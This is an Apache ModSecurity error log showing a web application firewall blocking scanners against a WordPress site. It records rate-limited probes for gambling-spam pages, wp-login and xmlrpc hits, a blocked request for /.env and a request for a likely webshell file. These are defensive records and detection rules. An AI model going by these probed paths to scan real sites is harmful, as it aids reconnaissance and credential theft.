[Tue Mar 03 19:45:47.539960 2026] [:error] [pid 26186:tid 26203] [client 51.77.216.36:50738] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aabJ6_bZCNtk8wDak9fBtQAAAU8"]
[Tue Mar 03 19:45:49.946649 2026] [:error] [pid 62485:tid 62494] [client 51.77.216.36:50744] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aabJ7f9R7DZ1ENjPMXRtEwAAAcU"]
[Tue Mar 03 19:45:52.355163 2026] [:error] [pid 36897:tid 36919] [client 51.77.216.36:55542] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aabJ8CZC69_8eM0UoutMPQAAANE"]
[Tue Mar 03 19:45:55.877716 2026] [:error] [pid 36785:tid 36855] [client 51.77.216.36:55568] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aabJ83hJejauENG9qTjL6AAAAIU"]
[Tue Mar 03 19:45:58.637717 2026] [:error] [pid 36897:tid 36903] [client 51.77.216.36:55590] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aabJ9iZC69_8eM0UoutMRAAAAME"]
[Tue Mar 03 19:46:01.157893 2026] [:error] [pid 36785:tid 36853] [client 51.77.216.36:60428] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aabJ-XhJejauENG9qTjL8gAAAIM"]
[Tue Mar 03 19:46:03.581122 2026] [:error] [pid 36785:tid 36868] [client 51.77.216.36:60442] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aabJ-3hJejauENG9qTjL-AAAAJI"]
[Tue Mar 03 19:46:05.997846 2026] [:error] [pid 36783:tid 36795] [client 51.77.216.36:60460] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aabJ_T4tNYh5NtLaTXetcQAAAAE"]
[Tue Mar 03 19:46:08.595101 2026] [:error] [pid 14042:tid 14064] [client 51.77.216.36:60474] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aabKAGeHGCmSEiIBcK5nRwAAAZQ"]
[Tue Mar 03 19:46:11.201965 2026] [:error] [pid 36784:tid 36824] [client 51.77.216.36:55450] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aabKA3NeKOSGbW9kDgS8qgAAAEE"]
[Tue Mar 03 19:46:13.602128 2026] [:error] [pid 26186:tid 26201] [client 51.77.216.36:55466] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aabKBfbZCNtk8wDak9fBwwAAAU0"]
[Tue Mar 03 19:46:48.106583 2026] [:error] [pid 36785:tid 36850] [client 51.77.216.36:42470] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aabKKHhJejauENG9qTjMRgAAAIA"]
[Tue Mar 03 19:46:50.454780 2026] [:error] [pid 14042:tid 14058] [client 51.77.216.36:56694] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aabKKmeHGCmSEiIBcK5nXQAAAY4"]
[Tue Mar 03 19:46:52.859710 2026] [:error] [pid 36783:tid 36808] [client 51.77.216.36:39160] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aabKLD4tNYh5NtLaTXetnAAAAA4"]
[Tue Mar 03 19:46:55.354490 2026] [:error] [pid 36897:tid 36924] [client 51.77.216.36:39180] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aabKLyZC69_8eM0UoutMmAAAANY"]
[Tue Mar 03 19:46:57.805499 2026] [:error] [pid 20872:tid 20889] [client 51.77.216.36:39200] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aabKMYlYbNk3E_3CgBgu5gAAAQ8"]
[Tue Mar 03 19:47:00.062963 2026] [:error] [pid 14042:tid 14057] [client 51.77.216.36:39218] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aabKNGeHGCmSEiIBcK5ncwAAAY0"]
[Tue Mar 03 19:47:02.592471 2026] [:error] [pid 36897:tid 36902] [client 51.77.216.36:42928] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aabKNiZC69_8eM0UoutMnwAAAMA"]
[Tue Mar 03 20:49:30.737296 2026] [:error] [pid 36783:tid 36803] [client 37.59.109.228:47618] [client 37.59.109.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.59.109.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aabY2j4tNYh5NtLaTXe71gAAAAk"]
[Tue Mar 03 20:53:52.535752 2026] [:error] [pid 62485:tid 62497] [client 43.165.135.242:50288] [client 43.165.135.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aabZ4P9R7DZ1ENjPMXR11gAAAcg"]
[Tue Mar 03 21:13:27.305176 2026] [:error] [pid 26186:tid 26205] [client 178.62.28.91:56034] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.28.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aabed_bZCNtk8wDak9fPOAAAAVE"]
[Tue Mar 03 21:33:21.840794 2026] [:error] [pid 36783:tid 36814] [client 5.39.65.19:57958] [client 5.39.65.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.39.65.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aabjIT4tNYh5NtLaTXfGsgAAABQ"]
[Tue Mar 03 22:11:33.511449 2026] [:error] [pid 14042:tid 14062] [client 178.16.53.90:59263] [client 178.16.53.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aabsFWeHGCmSEiIBcK6BDAAAAZI"]
[Tue Mar 03 23:00:09.948469 2026] [:error] [pid 62485:tid 62505] [client 136.243.144.177:54280] [client 136.243.144.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.144.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aab3ef9R7DZ1ENjPMXSFeAAAAdA"]
[Tue Mar 03 23:19:48.905166 2026] [:error] [pid 14042:tid 14047] [client 103.4.122.14:34430] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "193.37.32.148_c8f1b7c13a1565b968781bd893db7fca96b574dd"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aab8EWeHGCmSEiIBcK6M0AAAAYM"]
[Wed Mar 04 00:15:32.448033 2026] [:error] [pid 36785:tid 36855] [client 45.118.166.192:61280] [client 45.118.166.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.166.192, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aacJJHhJejauENG9qTg_qwAAAIU"], referer: https://vetstars.com.au/
[Wed Mar 04 00:29:01.985843 2026] [:error] [pid 48406:tid 48667] [client 43.153.79.218:52966] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aacMTTStn8zJHlZMxFj-zwAAAEU"]
[Wed Mar 04 00:30:28.355487 2026] [:error] [pid 48407:tid 48697] [client 51.210.123.31:37740] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.123.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aacMpD7Td6SiHn8fwfmzaQAAAIc"]
[Wed Mar 04 00:37:25.536768 2026] [:error] [pid 48406:tid 48684] [client 137.74.192.205:47284] [client 137.74.192.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.192.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aacORTStn8zJHlZMxFgDbQAAAFY"]
[Wed Mar 04 01:29:06.734455 2026] [:error] [pid 27359:tid 27373] [client 106.227.49.113:38046] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aacaYl607jzBiSmoFjL2sgAAAMw"]
[Wed Mar 04 02:18:00.433140 2026] [autoindex:error] [pid 27359:tid 27366] [client 161.97.90.16:57460] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 04 03:07:07.927186 2026] [:error] [pid 48407:tid 48714] [client 51.75.119.229:44718] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aacxWz7Td6SiHn8fwfn2eQAAAJc"]
[Wed Mar 04 03:07:10.438982 2026] [:error] [pid 48407:tid 48715] [client 51.75.119.229:42962] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aacxXj7Td6SiHn8fwfn2fAAAAJg"]
[Wed Mar 04 03:07:13.059464 2026] [:error] [pid 48807:tid 48833] [client 51.75.119.229:42968] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aacxYQ9v35BN-51vqYaybwAAARg"]
[Wed Mar 04 03:07:15.464737 2026] [:error] [pid 48406:tid 48685] [client 51.75.119.229:59922] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aacxYzStn8zJHlZMxFgvzgAAAFc"]
[Wed Mar 04 03:07:17.966154 2026] [:error] [pid 48407:tid 48699] [client 51.75.119.229:59926] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aacxZT7Td6SiHn8fwfn2nAAAAIk"]
[Wed Mar 04 03:07:20.564158 2026] [:error] [pid 48406:tid 48682] [client 51.75.119.229:59938] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aacxaDStn8zJHlZMxFgv0gAAAFQ"]
[Wed Mar 04 03:07:23.088844 2026] [:error] [pid 48406:tid 48675] [client 51.75.119.229:59946] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aacxazStn8zJHlZMxFgv1QAAAE0"]
[Wed Mar 04 03:07:25.588927 2026] [:error] [pid 48407:tid 48698] [client 51.75.119.229:58916] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aacxbT7Td6SiHn8fwfn2tAAAAIg"]
[Wed Mar 04 03:07:27.959884 2026] [:error] [pid 48406:tid 48664] [client 51.75.119.229:58920] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aacxbzStn8zJHlZMxFgv3gAAAEM"]
[Wed Mar 04 03:07:30.387907 2026] [:error] [pid 48407:tid 48710] [client 51.75.119.229:58936] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aacxcj7Td6SiHn8fwfn2wwAAAJM"]
[Wed Mar 04 03:07:33.034816 2026] [:error] [pid 48406:tid 48678] [client 51.75.119.229:58940] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aacxdTStn8zJHlZMxFgv5gAAAFA"]
[Wed Mar 04 03:07:35.548956 2026] [:error] [pid 48807:tid 48830] [client 51.75.119.229:41906] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aacxdw9v35BN-51vqYayngAAARU"]
[Wed Mar 04 03:07:38.021805 2026] [:error] [pid 27359:tid 27362] [client 51.75.119.229:41910] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aacxel607jzBiSmoFjJEBgAAAME"]
[Wed Mar 04 03:07:40.448509 2026] [:error] [pid 27359:tid 27380] [client 51.75.119.229:41920] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aacxfF607jzBiSmoFjJEFQAAANM"]
[Wed Mar 04 03:07:42.887301 2026] [:error] [pid 27359:tid 27385] [client 51.75.119.229:41932] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aacxfl607jzBiSmoFjJEJwAAANg"]
[Wed Mar 04 03:07:45.351539 2026] [:error] [pid 48807:tid 48812] [client 51.75.119.229:46270] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aacxgQ9v35BN-51vqYayswAAAQM"]
[Wed Mar 04 03:07:47.721695 2026] [:error] [pid 48807:tid 48824] [client 51.75.119.229:46282] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aacxgw9v35BN-51vqYayvAAAAQ8"]
[Wed Mar 04 03:07:50.504110 2026] [:error] [pid 48807:tid 48818] [client 51.75.119.229:46290] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aacxhg9v35BN-51vqYayyQAAAQk"]
[Wed Mar 04 03:07:52.895301 2026] [:error] [pid 48406:tid 48681] [client 51.75.119.229:46302] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aacxiDStn8zJHlZMxFgwIwAAAFM"]
[Wed Mar 04 03:07:55.582545 2026] [:error] [pid 48407:tid 48706] [client 51.75.119.229:39624] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aacxiz7Td6SiHn8fwfn28wAAAI8"]
[Wed Mar 04 03:07:58.223893 2026] [:error] [pid 27359:tid 27380] [client 51.75.119.229:39626] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aacxjl607jzBiSmoFjJEVgAAANM"]
[Wed Mar 04 03:27:55.004573 2026] [:error] [pid 9559:tid 9561] [client 43.130.131.18:38220] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aac2O6I2eTIAqA9vpmClMAAAAcA"]
[Wed Mar 04 03:44:22.742504 2026] [:error] [pid 13888:tid 13938] [client 20.127.131.187:35883] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aac6FkzzXP7NI-yGIqvVgQAAAFE"]
